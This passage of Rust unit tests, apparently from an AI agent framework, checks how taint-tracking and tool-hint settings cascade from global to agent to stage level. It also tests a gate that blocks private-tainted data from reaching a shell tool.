1016        // enforcement made taint tracking opt-out-by-installing-an-agent.
1017        assert!(resolve_taint_enabled(true, Some(&sec(false)), None));
1018    }
1019
1020    #[test]
1021    fn resolve_taint_enabled_stage_may_opt_in_but_not_out() {
1022        // Stage opt-in beats agent opt-out and global off.
1023        assert!(resolve_taint_enabled(
1024            false,
1025            Some(&sec(false)),
1026            Some(&sec(true))
1027        ));
1028        // A stage opt-out cannot override the user's global on.
1029        assert!(resolve_taint_enabled(
1030            true,
1031            Some(&sec(true)),
1032            Some(&sec(false))
1033        ));
1034    }
1035
1036    #[test]
1037    fn resolve_batch_tool_hint_cascade() {
1038        // Nothing set at narrower levels → inherit the global toggle (on default).
1039        assert!(resolve_batch_tool_hint(true, None, None));
1040        assert!(!resolve_batch_tool_hint(false, None, None));
1041        // Agent override beats global (both directions).
1042        assert!(!resolve_batch_tool_hint(true, Some(false), None));
1043        assert!(resolve_batch_tool_hint(false, Some(true), None));
1044        // Stage override beats agent and global (both directions).
1045        assert!(!resolve_batch_tool_hint(true, Some(true), Some(false)));
1046        assert!(resolve_batch_tool_hint(false, Some(false), Some(true)));
1047    }
1048
1049    #[test]
1050    fn gate_decision_blocked_levels() {
1051        let blocked = GateDecision::Blocked {
1052            taint_level: TaintLevel::Private,
1053            clearance: TaintLevel::Public,
1054            source_regions: vec![],
1055            tool_name: "shell".into(),
1056        };
1057        assert_eq!(
1058            blocked.blocked_levels(),
1059            Some((TaintLevel::Private, TaintLevel::Public))
1060        );
1061        assert_eq!(GateDecision::Allowed.blocked_levels(), None);
1062    }
1063
1064    #[test]
1065    fn resolve_security_prefers_most_specific_but_clamps_taint() {
1066        // Neither set → default whose taint_tracking follows global.
1067        assert!(resolve_security(true, None, None).taint_tracking);
1068        assert!(!resolve_security(false, None, None).taint_tracking);
1069        // Stage present → wins over agent for opting *in*.
1070        assert!(resolve_security(false, Some(&sec(false)), Some(&sec(true))).taint_tracking);
1071        // An agent opt-out cannot beat the user's global on - `resolve_security`
1072        // agrees with `resolve_taint_enabled` rather than disagreeing with it.
1073        assert!(resolve_security(true, Some(&sec(false)), None).taint_tracking);
1074    }
1075
1076    #[test]
1077    fn test_region_taint_remove_at_recomputes_level() {
1078        let mut rt = RegionTaint::new();
1079        rt.add_entry(TaintLevel::Public);
1080        rt.add_entry(TaintLevel::Private);
1081        rt.add_entry(TaintLevel::Public);
1082        assert_eq!(rt.level(), TaintLevel::Private);
1083
1084        // Removing the Private entry at index 1 recomputes the level down.
1085        rt.remove_at(1);
1086        assert_eq!(rt.entry_count(), 2);
1087        assert_eq!(rt.level(), TaintLevel::Public);
1088
1089        // An out-of-range index is a no-op.
1090        rt.remove_at(99);
1091        assert_eq!(rt.entry_count(), 2);
1092    }
1093}